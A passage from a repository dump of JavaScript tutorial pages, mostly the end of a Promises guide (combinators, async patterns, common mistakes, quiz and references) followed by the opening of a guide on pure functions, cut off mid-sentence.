Any single failure should abort the whole operation\n- You want to run Promises in parallel and wait for all\n\n**Note:** `Promise.all([])` with an empty array resolves immediately with `[]`. Also, non-Promise values in the array are automatically wrapped with `Promise.resolve()`.\n</Tip>\n\n### Promise.allSettled() — Wait for All (No Short-Circuit)\n\n**[`Promise.allSettled()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/allSettled)** waits for ALL Promises to settle, regardless of whether they fulfill or reject. It never rejects:\n\n```javascript\nPromise.allSettled([\n  Promise.resolve('A'),\n  Promise.reject(new Error('B failed!')),\n  Promise.resolve('C')\n])\n  .then(results => {\n    console.log(results)\n    // [\n    //   { status: 'fulfilled', value: 'A' },\n    //   { status: 'rejected', reason: Error: B failed! },\n    //   { status: 'fulfilled', value: 'C' }\n    // ]\n  })\n```\n\n**Real example: sending notifications to multiple users**\n\n```javascript\nasync function sendNotificationsToAll(userIds, message) {\n  const results = await Promise.allSettled(\n    userIds.map(id => sendNotification(id, message))\n  )\n  \n  const succeeded = results.filter(r => r.status === 'fulfilled')\n  const failed = results.filter(r => r.status === 'rejected')\n  \n  console.log(`Sent: ${succeeded.length}, Failed: ${failed.length}`)\n  \n  // Log failures for debugging\n  failed.forEach(f => console.error('Failed:', f.reason))\n  \n  return { succeeded: succeeded.length, failed: failed.length }\n}\n```\n\n<Tip>\n**Use `Promise.allSettled()` when:**\n- You want to attempt ALL operations regardless of individual failures\n- You need to know which succeeded and which failed\n- Partial success is acceptable\n</Tip>\n\n### Promise.race() — First to Settle Wins\n\n**[`Promise.race()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/race)** returns a Promise that settles as soon as ANY input Promise settles (fulfilled or rejected):\n\n```javascript\nconst slow = new Promise(resolve => setTimeout(() => resolve('slow'), 200))\nconst fast = new Promise(resolve => setTimeout(() => resolve('fast'), 100))\n\nPromise.race([slow, fast])\n  .then(winner => console.log(winner))  // \"fast\"\n```\n\n**Real example: adding a timeout**\n\n```javascript\nfunction fetchWithTimeout(url, timeout = 5000) {\n  const fetchPromise = fetch(url)\n  \n  const timeoutPromise = new Promise((_, reject) => {\n    setTimeout(() => {\n      reject(new Error(`Request timed out after ${timeout}ms`))\n    }, timeout)\n  })\n  \n  return Promise.race([fetchPromise, timeoutPromise])\n}\n\n// Usage\nfetchWithTimeout('https://api.example.com/data', 3000)\n  .then(response => response.json())\n  .catch(error => {\n    console.error(error.message)  // \"Request timed out after 3000ms\"\n  })\n```\n\n<Warning>\n**Watch out:** `Promise.race()` settles on the first Promise to settle, whether it fulfills OR rejects. If the fastest Promise rejects, the race rejects:\n\n```javascript\nPromise.race([\n  new Promise((_, reject) => setTimeout(() => reject(new Error('Fast failure')), 50)),\n  new Promise(resolve => setTimeout(() => resolve('Slow success'), 100))\n])\n  .catch(error => console.log(error.message))  // \"Fast failure\"\n```\n\n**Edge case:** `Promise.race([])` with an empty array returns a Promise that **never settles** (stays pending forever). This is rarely useful and usually indicates a bug.\n</Warning>\n\n### Promise.any() — First to Fulfill Wins\n\n**[`Promise.any()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/any)** returns a Promise that fulfills as soon as ANY input Promise fulfills. It ignores rejections unless ALL Promises reject:\n\n```javascript\nPromise.any([\n  Promise.reject(new Error('Error 1')),\n  Promise.resolve('Success!'),\n  Promise.reject(new Error('Error 2'))\n])\n  .then(value => console.log(value))  // \"Success!\"\n```\n\n**If ALL Promises reject, you get an AggregateError:**\n\n```javascript\nPromise.any([\n  Promise.reject(new Error('Error 1')),\n  Promise.reject(new Error('Error 2')),\n  Promise.reject(new Error('Error 3'))\n])\n  .catch(error => {\n    console.log(error.name)    // \"AggregateError\"\n    console.log(error.errors)  // [Error: Error 1, Error: Error 2, Error: Error 3]\n  })\n```\n\n**Real example: trying multiple CDN mirrors**\n\n```javascript\nasync function fetchFromFastestMirror(mirrors) {\n  try {\n    // Returns data from whichever mirror responds first\n    const data = await Promise.any(\n      mirrors.map(mirror => fetch(mirror).then(r => r.json()))\n    )\n    return data\n  } catch (error) {\n    // All mirrors failed\n    throw new Error('All mirrors failed: ' + error.errors.map(e => e.message).join(', '))\n  }\n}\n\nconst mirrors = [\n  'https://mirror1.example.com/data',\n  'https://mirror2.example.com/data',\n  'https://mirror3.example.com/data'\n]\n\nfetchFromFastestMirror(mirrors)\n  .then(data => console.log('Got data:', data))\n  .catch(error => console.error(error.message))\n```\n\n<Tip>\n**Use `Promise.any()` when:**\n- You only need one successful result\n- You have multiple sources/fallbacks and want the first success\n- Rejections should be ignored unless everything fails\n\n**Edge case:** `Promise.any([])` with an empty array immediately rejects with an `AggregateError` (since there are no Promises that could fulfill).\n</Tip>\n\n### Comparison Table\n\n| Method | Fulfills when... | Rejects when... | Empty array `[]` | Use case |\n|--------|-----------------|-----------------|------------------|----------|\n| `Promise.all()` | ALL fulfill | ANY rejects | Fulfills with `[]` | Need all results, fail-fast |\n| `Promise.allSettled()` | ALL settle | Never | Fulfills with `[]` | Need all results, tolerate failures |\n| `Promise.race()` | First to settle fulfills | First to settle rejects | Never settles | Timeout, fastest response |\n| `Promise.any()` | ANY fulfills | ALL reject | Rejects (AggregateError) | First success, ignore failures |\n\n### Promise.withResolvers()\n\n**[`Promise.withResolvers()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/withResolvers)** (ES2024) returns an object containing a new Promise and the functions to resolve/reject it. This is useful when you need to resolve a Promise from outside its executor:\n\n```javascript\nconst { promise, resolve, reject } = Promise.withResolvers()\n\n// Resolve it later from anywhere\nsetTimeout(() => resolve('Done!'), 1000)\n\npromise.then(value => console.log(value))  // \"Done!\" (after 1 second)\n```\n\n**Before `withResolvers()`, you had to do this:**\n\n```javascript\nlet resolve, reject\nconst promise = new Promise((res, rej) => {\n  resolve = res\n  reject = rej\n})\n\n// Now resolve/reject are available outside\n```\n\n### Promise.try()\n\n**[`Promise.try()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/try)** (Baseline 2025) takes a callback of any kind and wraps its result in a Promise. This is useful when you have a function that might be synchronous or asynchronous and you want to handle both cases uniformly:\n\n```javascript\n// The problem: func() might throw synchronously OR return a Promise\n// This doesn't catch synchronous errors:\nPromise.resolve(func()).catch(handleError)  // Sync throw escapes!\n\n// This works but is verbose:\nnew Promise((resolve) => resolve(func()))\n\n// Promise.try() is cleaner:\nPromise.try(func)\n```\n\n**Real example: handling callbacks that might be sync or async**\n\n```javascript\nfunction processData(callback) {\n  return Promise.try(callback)\n    .then(result => console.log('Result:', result))\n    .catch(error => console.error('Error:', error))\n    .finally(() => console.log('Done'))\n}\n\n// Works with sync functions\nprocessData(() => 'sync result')\n\n// Works with async functions\nprocessData(async () => 'async result')\n\n// Catches sync throws\nprocessData(() => { throw new Error('sync error') })\n\n// Catches async rejections\nprocessData(async () => { throw new Error('async error') })\n```\n\nYou can also pass arguments to the callback:\n\n```javascript\n// Instead of creating a closure:\nPromise.try(() => fetchUser(userId))\n\n// You can pass arguments directly:\nPromise.try(fetchUser, userId)\n```\n\n<Note>\n`Promise.try()` calls the function **synchronously** (like the Promise constructor executor), unlike `.then()` which always runs callbacks asynchronously. If possible, it resolves the promise immediately.\n</Note>\n\n---\n\n## Common Patterns\n\n### Sequential Execution\n\nWhen you need to run things one at a time (not in parallel). Use this when each step depends on the previous result, like database transactions or when processing order matters (uploading files in a specific sequence).\n\n```javascript\n// Process items one at a time\nasync function processSequentially(items) {\n  const results = []\n  \n  for (const item of items) {\n    const result = await processItem(item)  // Wait for each\n    results.push(result)\n  }\n  \n  return results\n}\n\n// Or with reduce (pure Promises, no async/await):\nfunction processSequentiallyWithReduce(items) {\n  return items.reduce((chain, item) => {\n    return chain.then(results => {\n      return processItem(item).then(result => {\n        return [...results, result]\n      })\n    })\n  }, Promise.resolve([]))\n}\n```\n\n### Parallel Execution\n\nWhen operations don't depend on each other. Great for independent fetches like loading a dashboard where you need user data, notifications, and settings all at once. Much faster than doing them one by one.\n\n```javascript\n// Process all items in parallel\nasync function processInParallel(items) {\n  const promises = items.map(item => processItem(item))\n  return Promise.all(promises)\n}\n\n// Example: Fetch multiple URLs at once\ntry {\n  const urls = ['/api/users', '/api/posts', '/api/comments']\n  const responses = await Promise.all(urls.map(url => fetch(url)))\n  const data = await Promise.all(responses.map(r => r.json()))\n} catch (error) {\n  console.error('One of the requests failed:', error)\n}\n```\n\n### Parallel with Limit (Batching)\n\nWhen you want parallelism but don't want to hammer a server with 100 requests at once. Essential for API rate limits (e.g., \"max 10 requests/second\") or when processing large datasets without exhausting memory or connections.\n\n```javascript\nasync function processInBatches(items, batchSize = 3) {\n  const results = []\n  \n  for (let i = 0; i < items.length; i += batchSize) {\n    const batch = items.slice(i, i + batchSize)\n    const batchResults = await Promise.all(\n      batch.map(item => processItem(item))\n    )\n    results.push(...batchResults)\n  }\n  \n  return results\n}\n\n// Process 10 items, 3 at a time\nconst items = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\nconst results = await processInBatches(items, 3)\n// Batch 1: [1, 2, 3] (parallel)\n// Batch 2: [4, 5, 6] (parallel, after batch 1)\n// Batch 3: [7, 8, 9] (parallel, after batch 2)\n// Batch 4: [10] (after batch 3)\n```\n\n### Retry Pattern\n\nAutomatically retry when things fail. Perfect for flaky network connections, unreliable third-party APIs, or temporary server issues. For production, consider adding exponential backoff (doubling the delay each attempt).\n\n```javascript\nasync function retry(fn, maxAttempts = 3, delay = 1000) {\n  let lastError\n  \n  for (let attempt = 1; attempt <= maxAttempts; attempt++) {\n    try {\n      return await fn()\n    } catch (error) {\n      lastError = error\n      console.log(`Attempt ${attempt} failed: ${error.message}`)\n      \n      if (attempt < maxAttempts) {\n        await new Promise(resolve => setTimeout(resolve, delay))\n      }\n    }\n  }\n  \n  throw lastError\n}\n\n// Usage\nconst data = await retry(\n  () => fetch('/api/flaky-endpoint').then(r => r.json()),\n  3,   // max attempts\n  1000 // delay between attempts\n)\n```\n\n### Converting Callbacks to Promises (Promisification)\n\nA helper to convert old callback-style functions to Promises. Useful when working with older Node.js APIs or third-party libraries that still use callbacks but you want clean async/await syntax.\n\n```javascript\nfunction promisify(fn) {\n  return function(...args) {\n    return new Promise((resolve, reject) => {\n      fn(...args, (error, result) => {\n        if (error) {\n          reject(error)\n        } else {\n          resolve(result)\n        }\n      })\n    })\n  }\n}\n\n// Usage example (Node.js - fs uses callbacks)\nconst readFile = promisify(fs.readFile)\nconst data = await readFile('file.txt', 'utf8')\n```\n\n<Note>\nNode.js has this built-in: `const { promisify } = require('util')`\n</Note>\n\n---\n\n## Common Mistakes\n\n### Mistake 1: Forgetting to Return\n\nThe #1 Promise mistake is forgetting to return from `.then()`:\n\n```javascript\n// ❌ WRONG - Promise not returned, chain breaks\nfetchUser(1)\n  .then(user => {\n    fetchPosts(user.id)  // This Promise floats away!\n  })\n  .then(posts => {\n    console.log(posts)   // undefined!\n  })\n\n// ✓ CORRECT - Return the Promise\nfetchUser(1)\n  .then(user => {\n    return fetchPosts(user.id)\n  })\n  .then(posts => {\n    console.log(posts)   // Array of posts\n  })\n\n// ✓ EVEN BETTER - Arrow function implicit return\nfetchUser(1)\n  .then(user => fetchPosts(user.id))\n  .then(posts => console.log(posts))\n```\n\n### Mistake 2: Nesting Instead of Chaining\n\nDon't accidentally recreate callback hell with Promises:\n\n```javascript\n// ❌ WRONG - Promise hell (nesting)\nfetchUser(1).then(user => {\n  fetchPosts(user.id).then(posts => {\n    fetchComments(posts[0].id).then(comments => {\n      console.log(comments)\n    })\n  })\n})\n\n// ✓ CORRECT - Flat chain\nfetchUser(1)\n  .then(user => fetchPosts(user.id))\n  .then(posts => fetchComments(posts[0].id))\n  .then(comments => console.log(comments))\n```\n\n### Mistake 3: The Promise Constructor Anti-Pattern\n\nDon't wrap existing Promises in `new Promise()`:\n\n```javascript\n// ❌ WRONG - Unnecessary Promise wrapper\nfunction getUser(id) {\n  return new Promise((resolve, reject) => {\n    fetch(`/api/users/${id}`)\n      .then(response => response.json())\n      .then(user => resolve(user))\n      .catch(error => reject(error))\n  })\n}\n\n// ✓ CORRECT - Just return the Promise!\nfunction getUser(id) {\n  return fetch(`/api/users/${id}`)\n    .then(response => response.json())\n}\n```\n\n<Warning>\n**The Promise constructor anti-pattern** is when you wrap something that's already a Promise. You're just adding complexity for no reason. Only use `new Promise()` when you're wrapping callback-based APIs.\n</Warning>\n\n### Mistake 4: Forgetting Error Handling\n\n```javascript\n// ❌ WRONG - No error handling\nfetchData()\n  .then(data => processData(data))\n  .then(result => saveResult(result))\n// If anything fails, you get an unhandled rejection!\n\n// ✓ CORRECT - Always have a .catch()\nfetchData()\n  .then(data => processData(data))\n  .then(result => saveResult(result))\n  .catch(error => {\n    console.error('Operation failed:', error)\n    // Handle the error appropriately\n  })\n```\n\n### Mistake 5: Using forEach with Async Operations\n\n```javascript\n// ❌ WRONG - forEach doesn't wait for Promises\nasync function processAll(items) {\n  items.forEach(async item => {\n    await processItem(item)  // These run in parallel, not sequentially!\n  })\n  console.log('Done!')  // Logs immediately, before processing completes\n}\n\n// ✓ CORRECT - Use for...of for sequential\nasync function processAllSequential(items) {\n  for (const item of items) {\n    await processItem(item)\n  }\n  console.log('Done!')  // Logs after all items processed\n}\n\n// ✓ CORRECT - Use Promise.all for parallel\nasync function processAllParallel(items) {\n  await Promise.all(items.map(item => processItem(item)))\n  console.log('Done!')  // Logs after all items processed\n}\n```\n\n### Mistake 6: Microtask Timing Gotcha\n\n```javascript\nconsole.log('1')\n\nPromise.resolve().then(() => console.log('2'))\n\nconsole.log('3')\n\n// Output: 1, 3, 2 (NOT 1, 2, 3!)\n```\n\nPromise callbacks are scheduled as **microtasks**, which run after the current synchronous code but before the next macrotask. See the [Event Loop guide](/concepts/event-loop) for details.\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **A Promise is a placeholder** — It represents a value that will show up later (or an error if something goes wrong).\n\n2. **Three states, one transition** — Promises go from `pending` to either `fulfilled` or `rejected`, and never change after that.\n\n3. **`.then()` returns a NEW Promise** — This is what enables chaining. The value you return becomes the next Promise's value.\n\n4. **Always return from `.then()`** — Forgetting to return is the #1 Promise mistake. Use arrow functions for implicit returns.\n\n5. **Errors propagate down the chain** — A rejection skips all `.then()` handlers until it hits a `.catch()`.\n\n6. **Always handle rejections** — Use `.catch()` at the end of chains. Unhandled rejections are bugs.\n\n7. **`Promise.all()` for parallel + fail-fast** — Runs Promises in parallel, fails immediately if any rejects.\n\n8. **`Promise.allSettled()` for partial success** — Waits for all to settle, gives you results for each.\n\n9. **`Promise.race()` for timeouts** — First to settle wins (fulfill OR reject).\n\n10. **`Promise.any()` for first success** — First to fulfill wins, ignores rejections unless all fail.\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What are the three states of a Promise?\">\n    **Answer:**\n    \n    1. **Pending** — Initial state, the async operation is still in progress\n    2. **Fulfilled** — The operation completed successfully, the Promise has a value\n    3. **Rejected** — The operation failed, the Promise has a reason (error)\n    \n    Once a Promise is fulfilled or rejected (we call this \"settled\"), its state is locked in forever.\n  </Accordion>\n  \n  <Accordion title=\"Question 2: What does .then() return?\">\n    **Answer:**\n    \n    `.then()` always returns a **new Promise**. The value returned from the `.then()` callback becomes the fulfillment value of this new Promise.\n    \n    ```javascript\n    const p1 = Promise.resolve(1)\n    const p2 = p1.then(x => x + 1)\n    \n    console.log(p1 === p2)  // false - different Promises!\n    \n    p2.then(x => console.log(x))  // 2\n    ```\n    \n    If you return a Promise from the callback, the new Promise \"adopts\" its state.\n  </Accordion>\n  \n  <Accordion title=\"Question 3: What's the difference between Promise.all() and Promise.allSettled()?\">\n    **Answer:**\n    \n    | `Promise.all()` | `Promise.allSettled()` |\n    |-----------------|------------------------|\n    | Rejects immediately if ANY Promise rejects | Never rejects, waits for ALL to settle |\n    | Returns array of values on success | Returns array of `{status, value/reason}` objects |\n    | Use when all must succeed | Use when you want results regardless of failures |\n    \n    ```javascript\n    // Promise.all - fails fast\n    Promise.all([Promise.resolve(1), Promise.reject('error')])\n      .catch(e => console.log(e))  // \"error\"\n    \n    // Promise.allSettled - gets all results\n    Promise.allSettled([Promise.resolve(1), Promise.reject('error')])\n      .then(results => console.log(results))\n      // [{status:'fulfilled',value:1}, {status:'rejected',reason:'error'}]\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 4: What happens if you resolve a Promise with another Promise?\">\n    **Answer:**\n    \n    The outer Promise \"adopts\" the state of the inner Promise. This is called Promise unwrapping or assimilation:\n    \n    ```javascript\n    const inner = new Promise(resolve => {\n      setTimeout(() => resolve('inner value'), 1000)\n    })\n    \n    const outer = Promise.resolve(inner)\n    \n    // outer is now \"locked in\" to follow inner\n    // It won't fulfill until inner fulfills\n    \n    outer.then(value => console.log(value))  // \"inner value\" (after 1 second)\n    ```\n    \n    This happens automatically. You can't have a Promise that fulfills with another Promise as its value.\n  </Accordion>\n  \n  <Accordion title=\"Question 5: What's wrong with this code?\">\n    ```javascript\n    function getData() {\n      return new Promise((resolve, reject) => {\n        fetch('/api/data')\n          .then(response => response.json())\n          .then(data => resolve(data))\n          .catch(error => reject(error))\n      })\n    }\n    ```\n    \n    **Answer:**\n    \n    This is the **Promise constructor anti-pattern**. You're wrapping a Promise (`fetch`) inside `new Promise()` unnecessarily. Just return the Promise directly:\n    \n    ```javascript\n    function getData() {\n      return fetch('/api/data')\n        .then(response => response.json())\n    }\n    ```\n    \n    The original code:\n    - Adds unnecessary complexity\n    - Could lose stack trace information\n    - Might swallow errors if you forget the `.catch()`\n    \n    Only use `new Promise()` when wrapping callback-based APIs.\n  </Accordion>\n  \n  <Accordion title=\"Question 6: What's the output order?\">\n    ```javascript\n    console.log('A')\n    \n    Promise.resolve().then(() => console.log('B'))\n    \n    Promise.resolve().then(() => {\n      console.log('C')\n      Promise.resolve().then(() => console.log('D'))\n    })\n    \n    console.log('E')\n    ```\n    \n    **Answer:** `A`, `E`, `B`, `C`, `D`\n    \n    **Explanation:**\n    1. `'A'` — Synchronous, runs first\n    2. First `.then()` callback queued as microtask\n    3. Second `.then()` callback queued as microtask\n    4. `'E'` — Synchronous, runs next\n    5. Synchronous code done → process microtask queue\n    6. `'B'` — First microtask runs\n    7. `'C'` — Second microtask runs, queues another microtask\n    8. `'D'` — Third microtask runs (microtask queue is drained before any macrotask)\n    \n    Promise callbacks always run as microtasks, after the current synchronous code but before macrotasks like `setTimeout`. See [Event Loop](/concepts/event-loop) for more.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is a Promise in JavaScript?\">\n    A Promise is an object that represents the eventual completion or failure of an asynchronous operation. As defined in the ECMAScript specification, a Promise is in one of three states: pending, fulfilled, or rejected. Once settled (fulfilled or rejected), a Promise's state and value are immutable — it cannot change again.\n  </Accordion>\n\n  <Accordion title=\"What are the three states of a Promise?\">\n    Pending means the async operation has not completed yet. Fulfilled means it completed successfully with a result value. Rejected means it failed with a reason (usually an Error). A Promise transitions from pending to either fulfilled or rejected, never both and never more than once. This guarantee makes Promises more predictable than callbacks.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between Promise.all and Promise.allSettled?\">\n    `Promise.all` resolves when all Promises fulfill and rejects immediately if any single Promise rejects. `Promise.allSettled` (added in ES2020) waits for all Promises to settle regardless of outcome and returns an array of result objects with `status` and `value` or `reason`. Use `allSettled` when you need results from every operation even if some fail.\n  </Accordion>\n\n  <Accordion title=\"How do you handle errors in Promise chains?\">\n    Attach a `.catch()` at the end of the chain to handle any rejection from any preceding `.then()`. Errors propagate down the chain until caught. You can also use `.then(onFulfilled, onRejected)`, but a single `.catch()` at the end is the recommended pattern. Always handle rejections — unhandled rejections are logged as warnings in modern runtimes.\n  </Accordion>\n\n  <Accordion title=\"What is Promise chaining and why is it useful?\">\n    Promise chaining means calling `.then()` on the Promise returned by a previous `.then()`. Each `.then()` receives the return value of the previous one, creating a flat, readable sequence of async steps. According to MDN, this was the key innovation that solved callback hell by replacing nested callbacks with a linear chain of operations.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Callbacks\" icon=\"phone\" href=\"/concepts/callbacks\">\n    The predecessor to Promises — understand what Promises improve upon\n  </Card>\n  <Card title=\"async/await\" icon=\"hourglass\" href=\"/concepts/async-await\">\n    Modern syntax built on top of Promises — makes async code look synchronous\n  </Card>\n  <Card title=\"Event Loop\" icon=\"arrows-spin\" href=\"/concepts/event-loop\">\n    How Promise callbacks are scheduled via the microtask queue\n  </Card>\n  <Card title=\"Fetch API\" icon=\"globe\" href=\"/concepts/http-fetch\">\n    The most common Promise-based API — making HTTP requests\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Promise — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise\">\n    Complete reference for the Promise object and all its methods\n  </Card>\n  <Card title=\"Using Promises — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Using_promises\">\n    MDN guide covering Promise fundamentals and patterns\n  </Card>\n  <Card title=\"Promise.all() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/all\">\n    Documentation for Promise.all() with examples\n  </Card>\n  <Card title=\"Promise.allSettled() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/allSettled\">\n    Documentation for Promise.allSettled() with examples\n  </Card>\n  <Card title=\"Promise.try() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/try\">\n    Documentation for Promise.try() (Baseline 2025)\n  </Card>\n  <Card title=\"Promise.withResolvers() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/withResolvers\">\n    Documentation for Promise.withResolvers() (ES2024)\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Promises: An Introduction\" icon=\"newspaper\" href=\"https://web.dev/promises/\">\n    Google's web.dev tutorial with inline runnable code examples you can edit. Covers the full Promise API from basics to advanced patterns like promisification.\n  </Card>\n  <Card title=\"JavaScript Visualized: Promises & Async/Await\" icon=\"newspaper\" href=\"https://dev.to/lydiahallie/javascript-visualized-promises-async-await-5gke\">\n    Lydia Hallie's visual explanation with animated GIFs showing exactly how Promises work.\n  </Card>\n  <Card title=\"Promise Basics — JavaScript.info\" icon=\"newspaper\" href=\"https://javascript.info/promise-basics\">\n    The go-to reference for Promise fundamentals with the \"loadScript\" example that makes async patterns click. Includes exercises at the end to test your understanding.\n  </Card>\n  <Card title=\"Promise Chaining — JavaScript.info\" icon=\"newspaper\" href=\"https://javascript.info/promise-chaining\">\n    Excellent diagrams showing how values flow through Promise chains. The \"returning promises\" section clarifies the trickiest part of chaining.\n  </Card>\n  <Card title=\"We Have a Problem with Promises\" icon=\"newspaper\" href=\"https://pouchdb.com/2015/05/18/we-have-a-problem-with-promises.html\">\n    Nolan Lawson's classic article on common Promise mistakes developers make.\n  </Card>\n  <Card title=\"The Complete JavaScript Promise Guide\" icon=\"newspaper\" href=\"https://blog.webdevsimplified.com/2021-09/javascript-promises\">\n    Kyle Cook's written companion to his popular YouTube videos. Great if you prefer reading to watching, with the same clear teaching style.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Promises In 10 Minutes\" icon=\"video\" href=\"https://www.youtube.com/watch?v=DHvZLI7Db8E\">\n    Perfect if you're short on time. Kyle covers creating, consuming, and chaining Promises with real code examples in just 10 minutes.\n  </Card>\n  <Card title=\"Promises — Fun Fun Function\" icon=\"video\" href=\"https://www.youtube.com/watch?v=2d7s3spWAzo\">\n    MPJ's entertaining and thorough explanation of Promises with great analogies.\n  </Card>\n  <Card title=\"JavaScript Promise in 100 Seconds\" icon=\"video\" href=\"https://www.youtube.com/watch?v=RvYYCGs45L4\">\n    Fireship's ultra-concise overview of Promise fundamentals.\n  </Card>\n  <Card title=\"Promises | Namaste JavaScript\" icon=\"video\" href=\"https://youtu.be/ap-6PPAuK1Y\">\n    Akshay walks through Promise internals with browser DevTools, showing exactly what happens at each step. Great for understanding the \"why\" behind Promises.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/pure-functions.mdx",
    "content": "---\ntitle: \"Pure Functions\"\nsidebarTitle: \"Pure Functions: Writing Predictable Code\"\ndescription: \"Learn pure functions in JavaScript. Understand the two rules of purity, avoid side effects, and write testable, predictable code with immutable patterns.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Functional Programming\"\n\"article:tag\": \"pure functions, side effects, immutability, functional programming, predictable code\"\n---\n\nWhy does the same function sometimes give you different results? Why is some code easy to test while other code requires elaborate setup and mocking? Why do bugs seem to appear \"randomly\" when your logic looks correct?\n\nThe answer often comes down to **pure functions**. They're at the heart of functional programming, and understanding them will change how you write JavaScript.\n\n```javascript\n// A pure function: same input always gives same output\nfunction add(a, b) {\n  return a + b\n}\n\nadd(2, 3)  // 5\nadd(2, 3)  // 5, always 5, no matter when or where you call it\n```\n\nA pure function is simple, predictable, and trustworthy. Once you understand why, you'll start seeing opportunities to write cleaner code everywhere.\n\n<Info>\n**What you'll learn in this guide:**\n- The two rules that make a function \"pure\"\n- What side effects are and how they create bugs\n- How to identify pure vs impure functions\n- Practical patterns for avoiding mutations\n- When pure functions aren't possible (and what to do instead)\n- Why purity makes testing and debugging much easier\n</Info>\n\n<Warning>\n**Helpful background:** This guide references object and array mutations frequently. If you're not comfortable with how JavaScript handles [primitives vs objects](/concepts/primitives-objects), read that guide first. It explains why `const arr = [1,2,3]; arr.push(4)` works but shouldn't surprise you.\n</Warning>\n\n---\n\n## What is a Pure Function?\n\nA **pure function** is a function that follows two simple rules:\n\n1. **Same input → Same output**: Given the same arguments, it always returns the same result\n2. **No side effects**: It doesn't change anything outside itself\n\nThat's it. If a function follows both rules, it's pure. If it breaks either rule, it's impure. This concept comes directly from mathematics, where functions are defined as deterministic mappings from inputs to outputs. According to the [State of JS 2023 survey](https://2023.stateofjs.com/), functional programming concepts like pure functions and immutability continue to grow in adoption across the JavaScript ecosystem.\n\n```javascript\n// ✓ PURE: Follows both rules\nfunction double(x) {\n  return x * 2\n}\n\ndouble(5)  // 10\ndouble(5)  // 10, always 10\n```\n\nUsing [`Math.random()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random) breaks purity because it introduces randomness. As [MDN explains](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random), `Math.random()` returns a pseudo-random number, meaning it depends on internal engine state rather than your function's arguments:\n\n```javascript\n// ❌ IMPURE: Breaks rule 1 (different output for same input)\nfunction randomDouble(x) {\n  return x * Math.random()\n}\n\nrandomDouble(5)  // 2.3456...\nrandomDouble(5)  // 4.1234... different every time!\n```\n\n```javascript\n// ❌ IMPURE: Breaks rule 2 (has a side effect)\nlet total = 0\n\nfunction addToTotal(x) {\n  total += x  // Modifies external variable!\n  return total\n}\n\naddToTotal(5)  // 5\naddToTotal(5)  // 10. Different result because total changed!\n```\n\n<CardGroup cols={2}>\n  <Card title=\"Functions — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions\">\n    MDN guide covering JavaScript function fundamentals\n  </Card>\n  <Card title=\"Functional Programming — Wikipedia\" icon=\"book\" href=\"https://en.wikipedia.org/wiki/Pure_function\">\n    Formal definition of pure functions in computer science\n  </Card>\n</CardGroup>\n\n---\n\n## The Kitchen Recipe Analogy\n\nThink of a pure function like a recipe. If you give a recipe the same ingredients, you get the same dish every time. The recipe doesn't care what time it is, what else is in your kitchen, or what you cooked yesterday.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                        PURE VS IMPURE FUNCTIONS                          │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  PURE FUNCTION (Like a Recipe)                                           │\n│  ─────────────────────────────                                           │\n│                                                                          │\n│     Ingredients           Recipe            Dish                         │\n│    ┌───────────┐       ┌─────────┐       ┌───────┐                       │\n│    │ 2 eggs    │       │         │       │       │                       │\n│    │ flour     │ ────► │  mix &  │ ────► │ cake  │                       │\n│    │ sugar     │       │  bake   │       │       │                       │\n│    └───────────┘       └─────────┘       └───────┘                       │\n│                                                                          │\n│    ✓ Same ingredients = Same cake, every time                            │\n│    ✓ Doesn't rearrange your kitchen                                      │\n│    ✓ Doesn't depend on the weather                                       │\n│                                                                          │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  IMPURE FUNCTION (Unpredictable Chef)                                    │\n│  ────────────────────────────────────                                    │\n│                                                                          │\n│    ┌───────────┐       ┌─────────┐       ┌───────┐                       │\n│    │ 2 eggs    │       │ checks  │       │  ???  │                       │\n│    │ flour     │ ────► │ clock,  │ ────► │       │                       │\n│    │ sugar     │       │ mood... │       │       │                       │\n│    └───────────┘       └─────────┘       └───────┘                       │\n│                                                                          │\n│    ✗ Same ingredients might give different results                       │\n│    ✗ Might rearrange your whole kitchen while cooking                    │\n│    ✗ Depends on external factors you can't control                       │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nA pure function is like a recipe: predictable, self-contained, and trustworthy. An impure 